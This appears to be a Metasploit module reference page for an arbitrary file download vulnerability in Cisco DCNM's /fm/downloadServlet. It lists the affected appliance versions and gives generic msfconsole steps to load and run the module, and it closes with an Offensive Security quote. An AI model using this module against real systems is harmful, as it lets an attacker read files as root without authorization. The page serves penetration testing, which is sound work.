DCNM exposes a servlet to download files on /fm/downloadServlet. An authenticated user can abuse this servlet to download arbitrary files as root by specifying the full path of the file. This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit (see References to understand why).
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use auxiliary/admin/networking/cisco_dcnm_download
msf auxiliary(cisco_dcnm_download) > show actions
...actions...
msf auxiliary(cisco_dcnm_download) > set ACTION < action-name >
msf auxiliary(cisco_dcnm_download) > show options
...show and set options...
msf auxiliary(cisco_dcnm_download) > run
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security